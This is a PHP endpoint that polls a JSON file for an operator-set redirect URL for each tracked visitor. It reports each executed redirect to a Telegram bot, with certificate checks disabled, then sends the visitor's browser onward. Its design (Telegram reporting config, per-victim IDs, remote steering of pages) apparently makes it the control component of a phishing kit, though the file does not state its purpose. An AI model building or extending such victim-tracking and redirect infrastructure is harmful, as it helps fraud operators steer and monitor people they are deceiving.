<?php
session_start();
$settings = include __DIR__ . '/tg_config.php';

header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
header('Content-Type: application/json');

$visitor_id = $_GET['visitor_id'] ?? '';
if (empty($visitor_id)) {
    echo json_encode(['redirect' => false, 'error' => 'missing_visitor_id']);
    exit;
}

$redirects_file = __DIR__ . '/session/redirects.json';
if (!file_exists($redirects_file)) {
    @mkdir(__DIR__ . '/session', 0755, true);
    file_put_contents($redirects_file, json_encode(['redirects' => new stdClass()]));
}

$fp = fopen($redirects_file, 'c+');
if (!$fp) {
    echo json_encode(['redirect' => false, 'error' => 'open_failed']);
    exit;
}

// Acquire shared lock and read
if (!flock($fp, LOCK_SH)) {
    fclose($fp);
    echo json_encode(['redirect' => false, 'error' => 'lock_failed']);
    exit;
}

$content = '';
while (!feof($fp)) { $content .= fread($fp, 8192); }
flock($fp, LOCK_UN);
fclose($fp);

$redirects = json_decode($content, true);
if (!$redirects || !isset($redirects['redirects'])) {
    $redirects = ['redirects' => []];
}

if (isset($redirects['redirects'][$visitor_id])) {
    $visitor_data = $redirects['redirects'][$visitor_id];
    if (($visitor_data['status'] ?? '') === 'ready' && isset($visitor_data['redirect_url'])) {
        $redirect_url = $visitor_data['redirect_url'];

        // Fire-and-forget confirmation to Telegram
        if (!empty($settings['bot_token']) && !empty($settings['chat_id'])) {
            $msgtg = "🔄 <b>REDIRECT EXECUTED</b>\n\n" .
                     "• Visitor ID: <code>{$visitor_id}</code>\n" .
                     "• Redirect To: <code>{$redirect_url}</code>\n" .
                     "• Time: " . date('Y-m-d H:i:s');
            $payload = [
                'chat_id' => $settings['chat_id'],
                'text' => $msgtg,
                'parse_mode' => 'HTML',
                'disable_web_page_preview' => true
            ];
            $ch = curl_init('https://api.telegram.org/bot' . $settings['bot_token'] . '/sendMessage');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, ($payload));
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 1);
            curl_exec($ch);
            curl_close($ch);
        }

        // Remove this visitor entry (exclusive lock)
        $fp = fopen($redirects_file, 'c+');
        if ($fp && flock($fp, LOCK_EX)) {
            $content = '';
            while (!feof($fp)) { $content .= fread($fp, 8192); }
            $json = json_decode($content, true) ?: ['redirects' => []];
            unset($json['redirects'][$visitor_id]);
            ftruncate($fp, 0);
            rewind($fp);
            fwrite($fp, json_encode($json, JSON_PRETTY_PRINT));
            fflush($fp);
            flock($fp, LOCK_UN);
            fclose($fp);
        } elseif ($fp) {
            fclose($fp);
        }

        echo json_encode([
            'redirect' => true,
            'redirect_url' => $redirect_url,
            'timestamp' => time(),
            'source' => $visitor_data['source'] ?? 'unknown'
        ]);
        exit;
    }
}

echo json_encode(['redirect' => false]);
?>